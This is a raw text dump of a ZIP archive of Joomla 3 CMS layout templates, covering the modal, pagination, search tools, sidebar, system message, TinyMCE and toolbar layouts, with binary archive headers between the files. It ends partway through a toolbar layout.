'class' => implode(' ', $modalClasses)
);
if (isset($params['backdrop']))
{
$modalAttributes['data-backdrop'] =
(is_bool($params['backdrop']) ? ($params['backdrop'] ?
'true' : 'false') : $params['backdrop']);
}
if (isset($params['keyboard']))
{
$modalAttributes['data-keyboard'] =
(is_bool($params['keyboard']) ? ($params['keyboard'] ?
'true' : 'false') : 'true');
}
/**
* These lines below are for disabling scrolling of parent window.
* $('body').addClass('modal-open');
* $('body').removeClass('modal-open')
*
* Scrolling inside bootstrap modals on small screens (adapt to window
viewport and avoid modal off screen).
* - max-height .modal-body Max-height for the modal body
* When height of the modal is too
high for the window viewport height.
* - max-height .iframe Max-height for the iframe
(Deducting the padding of the modal-body)
* When URL option is set and height
of the iframe is higher than max-height of the modal body.
*
* Fix iOS scrolling inside bootstrap modals
* - overflow-y .modal-body When max-height is set for
modal-body
*
* Specific hack for Bootstrap 2.3.x
*/
$script[] = "jQuery(document).ready(function($) {";
$script[] = " $('#" . $selector .
"').on('show.bs.modal', function() {";
$script[] = "
$('body').addClass('modal-open');";
if (isset($params['url']))
{
$iframeHtml = JLayoutHelper::render('joomla.modal.iframe',
$displayData);
// Script for destroying and reloading the iframe
$script[] = " var modalBody =
$(this).find('.modal-body');";
$script[] = "
modalBody.find('iframe').remove();";
$script[] = " modalBody.prepend('" .
trim($iframeHtml) . "');";
}
else
{
// Set modalTooltip container to modal ID (selector), and placement to
top-left if no data attribute (bootstrap-tooltip-extended.js)
$script[] = "
$('.modalTooltip').each(function(){;";
$script[] = " var attr =
$(this).attr('data-placement');";
$script[] = " if ( attr === undefined || attr === false )
$(this).attr('data-placement', 'auto-dir
top-left')";
$script[] = " });";
$script[] = "
$('.modalTooltip').tooltip({'html': true,
'container': '#" . $selector . "'});";
}
// Adapt modal body max-height to window viewport if needed, when the modal
has been made visible to the user.
$script[] = " }).on('shown.bs.modal', function() {";
// Get height of the modal elements.
$script[] = " var modalHeight =
$('div.modal:visible').outerHeight(true),";
$script[] = " modalHeaderHeight =
$('div.modal-header:visible').outerHeight(true),";
$script[] = " modalBodyHeightOuter =
$('div.modal-body:visible').outerHeight(true),";
$script[] = " modalBodyHeight =
$('div.modal-body:visible').height(),";
$script[] = " modalFooterHeight =
$('div.modal-footer:visible').outerHeight(true),";
// Get padding top (jQuery position().top not working on iOS devices and
webkit browsers, so use of Javascript instead)
$script[] = " padding = document.getElementById('"
. $selector . "').offsetTop,";
// Calculate max-height of the modal, adapted to window viewport height.
$script[] = " maxModalHeight =
($(window).height()-(padding*2)),";
// Calculate max-height for modal-body.
$script[] = " modalBodyPadding =
(modalBodyHeightOuter-modalBodyHeight),";
$script[] = " maxModalBodyHeight =
maxModalHeight-(modalHeaderHeight+modalFooterHeight+modalBodyPadding);";
if (isset($params['url']))
{
// Set max-height for iframe if needed, to adapt to viewport height.
$script[] = " var iframeHeight =
$('.iframe').height();";
$script[] = " if (iframeHeight >
maxModalBodyHeight){;";
$script[] = "
$('.modal-body').css({'max-height': maxModalBodyHeight,
'overflow-y': 'auto'});";
$script[] = "
$('.iframe').css('max-height',
maxModalBodyHeight-modalBodyPadding);";
$script[] = " }";
}
else
{
// Set max-height for modal-body if needed, to adapt to viewport height.
$script[] = " if (modalHeight > maxModalHeight){;";
$script[] = "
$('.modal-body').css({'max-height': maxModalBodyHeight,
'overflow-y': 'auto'});";
$script[] = " }";
}
$script[] = " }).on('hide.bs.modal', function () {";
$script[] = "
$('body').removeClass('modal-open');";
$script[] = "
$('.modal-body').css({'max-height':
'initial', 'overflow-y': 'initial'});";
$script[] = "
$('.modalTooltip').tooltip('destroy');";
$script[] = " });";
$script[] = "});";
JFactory::getDocument()->addScriptDeclaration(implode("\n",
$script));
?>
<div id="<?php echo $selector; ?>" <?php echo
ArrayHelper::toString($modalAttributes); ?>>
<?php
// Header
if (!isset($params['closeButton']) ||
isset($params['title']) || $params['closeButton'])
{
echo JLayoutHelper::render('joomla.modal.header',
$displayData);
}
// Body
echo JLayoutHelper::render('joomla.modal.body', $displayData);
// Footer
if (isset($params['footer']))
{
echo JLayoutHelper::render('joomla.modal.footer',
$displayData);
}
?>
</div>
PK�J�[y��ttjoomla/pagination/link.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/** @var JPaginationObject $item */
$item = $displayData['data'];
$display = $item->text;
switch ((string) $item->text)
{
// Check for "Start" item
case JText::_('JLIB_HTML_START') :
$icon = 'icon-backward icon-first';
break;
// Check for "Prev" item
case $item->text === JText::_('JPREV') :
$item->text = JText::_('JPREVIOUS');
$icon = 'icon-step-backward icon-previous';
break;
// Check for "Next" item
case JText::_('JNEXT') :
$icon = 'icon-step-forward icon-next';
break;
// Check for "End" item
case JText::_('JLIB_HTML_END') :
$icon = 'icon-forward icon-last';
break;
default:
$icon = null;
break;
}
if ($icon !== null)
{
$display = '<span class="' . $icon .
'"></span>';
}
if ($displayData['active'])
{
if ($item->base > 0)
{
$limit = 'limitstart.value=' . $item->base;
}
else
{
$limit = 'limitstart.value=0';
}
$cssClasses = array();
$title = '';
if (!is_numeric($item->text))
{
JHtml::_('bootstrap.tooltip');
$cssClasses[] = 'hasTooltip';
$title = ' title="' . $item->text . '"
';
}
$onClick = 'document.adminForm.' . $item->prefix .
'limitstart.value=' . ($item->base > 0 ? $item->base :
'0') . '; Joomla.submitform();return false;';
}
else
{
$class = (property_exists($item, 'active') &&
$item->active) ? 'active' : 'disabled';
}
?>
<?php if ($displayData['active']) : ?>
<li>
<a <?php echo $cssClasses ? 'class="' .
implode(' ', $cssClasses) . '"' : '';
?> <?php echo $title; ?> href="#" onclick="<?php
echo $onClick; ?>">
<?php echo $display; ?>
</a>
</li>
<?php else : ?>
<li class="<?php echo $class; ?>">
<span><?php echo $display; ?></span>
</li>
<?php endif;
PK�J�[祄0 joomla/pagination/links.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$list = $displayData['list'];
$pages = $list['pages'];
$options = new Registry($displayData['options']);
$showLimitBox = $options->get('showLimitBox', true);
$showPagesLinks = $options->get('showPagesLinks', true);
$showLimitStart = $options->get('showLimitStart', true);
// Calculate to display range of pages
$currentPage = 1;
$range = 1;
$step = 5;
if (!empty($pages['pages']))
{
foreach ($pages['pages'] as $k => $page)
{
if (!$page['active'])
{
$currentPage = $k;
}
}
}
if ($currentPage >= $step)
{
if ($currentPage % $step === 0)
{
$range = ceil($currentPage / $step) + 1;
}
else
{
$range = ceil($currentPage / $step);
}
}
?>
<div class="pagination pagination-toolbar clearfix"
style="text-align: center;">
<?php if ($showLimitBox) : ?>
<div class="limit pull-right">
<?php echo JText::_('JGLOBAL_DISPLAY_NUM') .
$list['limitfield']; ?>
</div>
<?php endif; ?>
<?php if ($showPagesLinks && (!empty($pages))) : ?>
<ul class="pagination-list">
<?php
echo JLayoutHelper::render('joomla.pagination.link',
$pages['start']);
echo JLayoutHelper::render('joomla.pagination.link',
$pages['previous']); ?>
<?php foreach ($pages['pages'] as $k => $page) : ?>
<?php $output =
JLayoutHelper::render('joomla.pagination.link', $page); ?>
<?php if (in_array($k, range($range * $step - ($step + 1), $range *
$step), true)) : ?>
<?php if (($k % $step === 0 || $k === $range * $step - ($step + 1))
&& $k !== $currentPage && $k !== $range * $step - $step) :
?>
<?php $output =
preg_replace('#(<a.*?>).*?(</a>)#',
'$1...$2', $output); ?>
<?php endif; ?>
<?php endif; ?>
<?php echo $output; ?>
<?php endforeach; ?>
<?php
echo JLayoutHelper::render('joomla.pagination.link',
$pages['next']);
echo JLayoutHelper::render('joomla.pagination.link',
$pages['end']); ?>
</ul>
<?php endif; ?>
<?php if ($showLimitStart) : ?>
<input type="hidden" name="<?php echo
$list['prefix']; ?>limitstart" value="<?php echo
$list['limitstart']; ?>" />
<?php endif; ?>
</div>
PK�J�[U��joomla/pagination/list.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$list = $displayData['list'];
?>
<ul>
<li class="pagination-start"><?php echo
$list['start']['data']; ?></li>
<li class="pagination-prev"><?php echo
$list['previous']['data']; ?></li>
<?php foreach ($list['pages'] as $page) : ?>
<?php echo '<li>' . $page['data'] .
'</li>'; ?>
<?php endforeach; ?>
<li class="pagination-next"><?php echo
$list['next']['data']; ?></li>
<li class="pagination-end"><?php echo
$list['end']['data']; ?></li>
</ul>
PK�J�[�����joomla/quickicons/icon.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' : ('
id="' . $displayData['id'] . '"');
$target = empty($displayData['target']) ? '' : ('
target="' . $displayData['target'] .
'"');
$onclick = empty($displayData['onclick']) ? '' :
(' onclick="' . $displayData['onclick'] .
'"');
$title = empty($displayData['title']) ? '' : ('
title="' . $this->escape($displayData['title']) .
'"');
$text = empty($displayData['text']) ? '' :
('<span>' . $displayData['text'] .
'</span>')
?>
<div class="row-fluid"<?php echo $id; ?>>
<div class="span12">
<a href="<?php echo $displayData['link'];
?>"<?php echo $target . $onclick . $title; ?>>
<span class="icon-<?php echo $displayData['image'];
?>" aria-hidden="true"></span> <?php echo
$text; ?>
</a>
</div>
</div>
PK�J�[@�(Ϣ�"joomla/searchtools/default/bar.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
$data = $displayData;
// Receive overridable options
$data['options'] = !empty($data['options']) ?
$data['options'] : array();
if (is_array($data['options']))
{
$data['options'] = new Registry($data['options']);
}
// Options
$filterButton =
$data['options']->get('filterButton', true);
$searchButton =
$data['options']->get('searchButton', true);
$filters =
$data['view']->filterForm->getGroup('filter');
?>
<?php if (!empty($filters['filter_search'])) : ?>
<?php if ($searchButton) : ?>
<label for="filter_search"
class="element-invisible">
<?php if (isset($filters['filter_search']->label)) :
?>
<?php echo JText::_($filters['filter_search']->label);
?>
<?php else : ?>
<?php echo JText::_('JSEARCH_FILTER'); ?>
<?php endif; ?>
</label>
<div class="btn-wrapper input-append">
<?php echo $filters['filter_search']->input; ?>
<?php if ($filters['filter_search']->description) :
?>
<?php JHtml::_('bootstrap.tooltip',
'#filter_search', array('title' =>
JText::_($filters['filter_search']->description))); ?>
<?php endif; ?>
<button type="submit" class="btn hasTooltip"
title="<?php echo JHtml::_('tooltipText',
'JSEARCH_FILTER_SUBMIT'); ?>" aria-label="<?php
echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>">
<span class="icon-search"
aria-hidden="true"></span>
</button>
</div>
<?php if ($filterButton) : ?>
<div class="btn-wrapper hidden-phone">
<button type="button" class="btn hasTooltip
js-stools-btn-filter" title="<?php echo
JHtml::_('tooltipText', 'JSEARCH_TOOLS_DESC');
?>">
<?php echo JText::_('JSEARCH_TOOLS');?> <span
class="caret"></span>
</button>
</div>
<?php endif; ?>
<div class="btn-wrapper">
<button type="button" class="btn hasTooltip
js-stools-btn-clear" title="<?php echo
JHtml::_('tooltipText', 'JSEARCH_FILTER_CLEAR');
?>">
<?php echo JText::_('JSEARCH_FILTER_CLEAR');?>
</button>
</div>
<?php endif; ?>
<?php endif;
PK�J�[�W�I&joomla/searchtools/default/filters.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Load the form filters
$filters =
$data['view']->filterForm->getGroup('filter');
?>
<?php if ($filters) : ?>
<?php foreach ($filters as $fieldName => $field) : ?>
<?php if ($fieldName !== 'filter_search') : ?>
<?php $dataShowOn = ''; ?>
<?php if ($field->showon) : ?>
<?php JHtml::_('jquery.framework'); ?>
<?php JHtml::_('script', 'jui/cms.js',
array('version' => 'auto', 'relative'
=> true)); ?>
<?php $dataShowOn = " data-showon='" .
json_encode(JFormHelper::parseShowOnConditions($field->showon,
$field->formControl, $field->group)) . "'"; ?>
<?php endif; ?>
<div class="js-stools-field-filter"<?php echo
$dataShowOn; ?>>
<?php echo $field->input; ?>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php endif; ?>
PK�J�[��ǫ^^#joomla/searchtools/default/list.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Load the form list fields
$list =
$data['view']->filterForm->getGroup('list');
?>
<?php if ($list) : ?>
<div class="ordering-select hidden-phone">
<?php foreach ($list as $fieldName => $field) : ?>
<div class="js-stools-field-list">
<?php echo $field->input; ?>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
PK�J�[�0�{{&joomla/searchtools/default/noitems.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<div class="alert alert-info alert-no-items">
<?php echo $data['options']['noResultsText']; ?>
</div>
PK�J�[baؤ�'joomla/searchtools/default/selector.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<div class="js-stools-field-selector">
<?php echo
$data['view']->filterForm->getField($data['options']['selectorFieldName'])->input;
?>
</div>
PK�J�[:;��joomla/searchtools/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Receive overridable options
$data['options'] = !empty($data['options']) ?
$data['options'] : array();
$noResultsText = '';
$hideActiveFilters = false;
$showFilterButton = false;
$showSelector = false;
$selectorFieldName =
isset($data['options']['selectorFieldName']) ?
$data['options']['selectorFieldName'] :
'client_id';
// If a filter form exists.
if (isset($data['view']->filterForm) &&
!empty($data['view']->filterForm))
{
// Checks if a selector (e.g. client_id) exists.
if ($selectorField =
$data['view']->filterForm->getField($selectorFieldName))
{
$showSelector = $selectorField->getAttribute('filtermode',
'') == 'selector' ? true : $showSelector;
// Checks if a selector should be shown in the current layout.
if (isset($data['view']->layout))
{
$showSelector = $selectorField->getAttribute('layout',
'default') != $data['view']->layout ? false :
$showSelector;
}
// Unset the selector field from active filters group.
unset($data['view']->activeFilters[$selectorFieldName]);
}
// Checks if the filters button should exist.
$filters =
$data['view']->filterForm->getGroup('filter');
$showFilterButton = isset($filters['filter_search']) &&
count($filters) === 1 ? false : true;
// Checks if it should show the be hidden.
$hideActiveFilters = empty($data['view']->activeFilters);
// Check if the no results message should appear.
if (isset($data['view']->total) && (int)
$data['view']->total === 0)
{
$noResults =
$data['view']->filterForm->getFieldAttribute('search',
'noresults', '', 'filter');
if (!empty($noResults))
{
$noResultsText = JText::_($noResults);
}
}
}
// Set some basic options.
$customOptions = array(
'filtersHidden' =>
isset($data['options']['filtersHidden']) &&
$data['options']['filtersHidden'] ?
$data['options']['filtersHidden'] : $hideActiveFilters,
'filterButton' =>
isset($data['options']['filterButton']) &&
$data['options']['filterButton'] ?
$data['options']['filterButton'] : $showFilterButton,
'defaultLimit' =>
isset($data['options']['defaultLimit']) ?
$data['options']['defaultLimit'] :
JFactory::getApplication()->get('list_limit', 20),
'searchFieldSelector' => '#filter_search',
'selectorFieldName' => $selectorFieldName,
'showSelector' => $showSelector,
'orderFieldSelector' => '#list_fullordering',
'showNoResults' => !empty($noResultsText) ? true :
false,
'noResultsText' => !empty($noResultsText) ?
$noResultsText : '',
'formSelector' =>
!empty($data['options']['formSelector']) ?
$data['options']['formSelector'] :
'#adminForm',
);
// Merge custom options in the options array.
$data['options'] = array_merge($customOptions,
$data['options']);
// Add class to hide the active filters if needed.
$filtersActiveClass = $hideActiveFilters ? '' : '
js-stools-container-filters-visible';
// Load search tools
JHtml::_('searchtools.form',
$data['options']['formSelector'],
$data['options']);
?>
<div class="js-stools clearfix">
<div class="clearfix">
<?php if ($data['options']['showSelector']) :
?>
<div class="js-stools-container-selector">
<?php echo $this->sublayout('selector', $data); ?>
</div>
<?php endif; ?>
<div class="js-stools-container-bar">
<?php echo $this->sublayout('bar', $data); ?>
</div>
<div class="js-stools-container-list hidden-phone
hidden-tablet">
<?php echo $this->sublayout('list', $data); ?>
</div>
</div>
<!-- Filters div -->
<?php if ($data['options']['filterButton']) : ?>
<div class="js-stools-container-filters hidden-phone
clearfix<?php echo $filtersActiveClass; ?>">
<?php echo $this->sublayout('filters', $data); ?>
</div>
<?php endif; ?>
</div>
<?php if ($data['options']['showNoResults']) : ?>
<?php echo $this->sublayout('noitems', $data); ?>
<?php endif; ?>
PK�J�[��!�((
joomla/searchtools/grid/sort.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
$title = htmlspecialchars(JText::_($data->tip ?: $data->title));
JHtml::_('bootstrap.popover');
?>
<a href="#" onclick="return false;"
class="js-stools-column-order hasPopover"
data-order="<?php echo $data->order; ?>"
data-direction="<?php echo strtoupper($data->direction);
?>" data-name="<?php echo JText::_($data->title);
?>"
title="<?php echo $title; ?>"
data-content="<?php echo
htmlspecialchars(JText::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN'));
?>" data-placement="top">
<?php if (!empty($data->icon)) : ?><span class="<?php
echo $data->icon; ?>"></span><?php endif; ?>
<?php if (!empty($data->title)) : ?><?php echo
JText::_($data->title); ?><?php endif; ?>
<?php if ($data->order == $data->selected) : ?><span
class="<?php echo $data->orderIcon;
?>"></span><?php endif; ?>
</a>
PK�J�[G�܈X X joomla/sidebars/submenu.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2012 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('jquery.framework');
JHtml::_('behavior.core');
JFactory::getDocument()->addScriptDeclaration('
jQuery(document).ready(function($)
{
if (window.toggleSidebar)
{
toggleSidebar(true);
}
else
{
$("#j-toggle-sidebar-header").css("display",
"none");
$("#j-toggle-button-wrapper").css("display",
"none");
}
});
');
?>
<div id="j-toggle-sidebar-wrapper">
<div id="j-toggle-button-wrapper"
class="j-toggle-button-wrapper">
<?php echo JLayoutHelper::render('joomla.sidebars.toggle');
?>
</div>
<div id="sidebar" class="sidebar">
<div class="sidebar-nav">
<?php if ($displayData->displayMenu) : ?>
<ul id="submenu" class="nav nav-list">
<?php foreach ($displayData->list as $item) :
if (isset ($item[2]) && $item[2] == 1) : ?>
<li class="active">
<?php else : ?>
<li>
<?php endif;
if ($displayData->hide) : ?>
<a class="nolink"><?php echo $item[0];
?></a>
<?php else :
if ($item[1] !== '') : ?>
<a href="<?php echo JFilterOutput::ampReplace($item[1]);
?>"><?php echo $item[0]; ?></a>
<?php else : ?>
<?php echo $item[0]; ?>
<?php endif;
endif; ?>
</li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
<?php if ($displayData->displayMenu &&
$displayData->displayFilters) : ?>
<hr />
<?php endif; ?>
<?php if ($displayData->displayFilters) : ?>
<div class="filter-select hidden-phone">
<h4 class="page-header"><?php echo
JText::_('JSEARCH_FILTER_LABEL'); ?></h4>
<?php foreach ($displayData->filters as $filter) : ?>
<label for="<?php echo $filter['name'];
?>" class="element-invisible"><?php echo
$filter['label']; ?></label>
<select name="<?php echo $filter['name'];
?>" id="<?php echo $filter['name']; ?>"
class="span12 small" onchange="this.form.submit()">
<?php if (!$filter['noDefault']) : ?>
<option value=""><?php echo
$filter['label']; ?></option>
<?php endif; ?>
<?php echo $filter['options']; ?>
</select>
<hr class="hr-condensed" />
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
</div>
<div id="j-toggle-sidebar"></div>
</div>
PK�J�[��EMMjoomla/sidebars/toggle.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Set the tooltips
JText::script('JTOGGLE_HIDE_SIDEBAR');
JText::script('JTOGGLE_SHOW_SIDEBAR');
?>
<div
id="j-toggle-sidebar-button"
class="j-toggle-sidebar-button hidden-phone hasTooltip"
onclick="toggleSidebar(false); return false;"
>
<span id="j-toggle-sidebar-icon"
class="icon-arrow-left-2"
aria-hidden="true"></span>
</div>
PK�J�[c
���joomla/system/message.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$msgList = $displayData['msgList'];
?>
<div id="system-message-container">
<?php if (is_array($msgList) && !empty($msgList)) : ?>
<div id="system-message">
<?php foreach ($msgList as $type => $msgs) : ?>
<div class="alert alert-<?php echo $type; ?>">
<?php // This requires JS so we should add it through JS.
Progressive enhancement and stuff. ?>
<a class="close"
data-dismiss="alert">×</a>
<?php if (!empty($msgs)) : ?>
<h4 class="alert-heading"><?php echo
JText::_($type); ?></h4>
<div>
<?php foreach ($msgs as $msg) : ?>
<div class="alert-message"><?php echo $msg;
?></div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
PK�J�[���L��!joomla/tinymce/buttons/button.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.tinymce.buttons.button is deprecated, use
joomla.editors.buttons.button instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.editors.buttons.button',
$displayData);
PK�J�[cߪĿ�joomla/tinymce/buttons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.tinymce.buttons is deprecated, use
joomla.editors.buttons instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.editors.buttons',
$displayData);
PK�J�[<����joomla/tinymce/textarea.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<textarea
name="<?php echo $data->name; ?>"
id="<?php echo $data->id; ?>"
cols="<?php echo $data->cols; ?>"
rows="<?php echo $data->rows; ?>"
style="width: <?php echo $data->width; ?>; height: <?php
echo $data->height; ?>;"
class="<?php echo empty($data->class) ?
'mce_editable' : $data->class; ?>"
<?php echo $data->readonly ? ' readonly disabled' :
''; ?>
>
<?php echo $data->content; ?>
</textarea>PK�J�[~�
��joomla/tinymce/togglebutton.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$name = $displayData;
?>
<div class="toggle-editor btn-toolbar pull-right clearfix">
<div class="btn-group">
<a class="btn" href="#"
onclick="tinyMCE.execCommand('mceToggleEditor', false,
'<?php echo $name; ?>');return false;"
title="<?php echo
JText::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>"
>
<span class="icon-eye"
aria-hidden="true"></span> <?php echo
JText::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>
</a>
</div>
</div>PK�J�[�OGhhjoomla/toolbar/base.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="btn-wrapper" <?php echo
$displayData['id']; ?>>
<?php echo $displayData['action']; ?>
</div>
PK�J�[L�,�joomla/toolbar/batch.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$title = $displayData['title'];
JText::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
$message =
"alert(Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));";
?>
<button type="button" data-toggle="modal"
onclick="if (document.adminForm.boxchecked.value==0){<?php echo
$message; ?>}else{jQuery( '#collapseModal'
).modal('show'); return true;}" class="btn
btn-small">
<span class="icon-checkbox-partial"
aria-hidden="true"></span>
<?php echo $title; ?>
</button>
PK�J�[�m�joomla/toolbar/confirm.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
?>
<button onclick="<?php echo $doTask; ?>" class="btn
btn-small">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK�J�[�b�E!joomla/toolbar/containerclose.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
PK�J�[ e@�
joomla/toolbar/containeropen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="btn-toolbar" role="toolbar"
aria-label="<?php echo JText::_('JTOOLBAR'); ?>"
id="<?php echo $displayData['id']; ?>">
PK�J�[CRljoomla/toolbar/help.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$text = $displayData['text'];
?>
<button onclick="<?php echo $doTask; ?>"
rel="help" class="btn btn-small">
<span class="icon-question-sign"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK�J�[��''joomla/toolbar/iconclass.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
icon-<?php echo $displayData['icon']; ?>
PK�J�[w�ojoomla/toolbar/link.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
?>
<button onclick="location.href='<?php echo $doTask;
?>';" class="btn btn-small">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
PK�J�[�54���joomla/toolbar/modal.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
/**
* Generic toolbar button layout to open a modal
* -----------------------------------------------
* @param array $displayData Button parameters. Default supported
parameters:
* - selector string Unique DOM
identifier for the modal. CSS id without #
* - class string Button class
* - icon string Button icon
* - text string Button text
*/
$selector = $displayData['selector'];
$class = isset($displayData['class']) ?
$displayData['class'] : 'btn btn-small';
$icon = isset($displayData['icon']) ?
$displayData['icon'] : 'out-3';
$text = isset($displayData['text']) ?
$displayData['text'] : '';
?>
<button class="<?php echo $class; ?>"
data-toggle="modal" data-target="#<?php echo $selector;
?>">
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
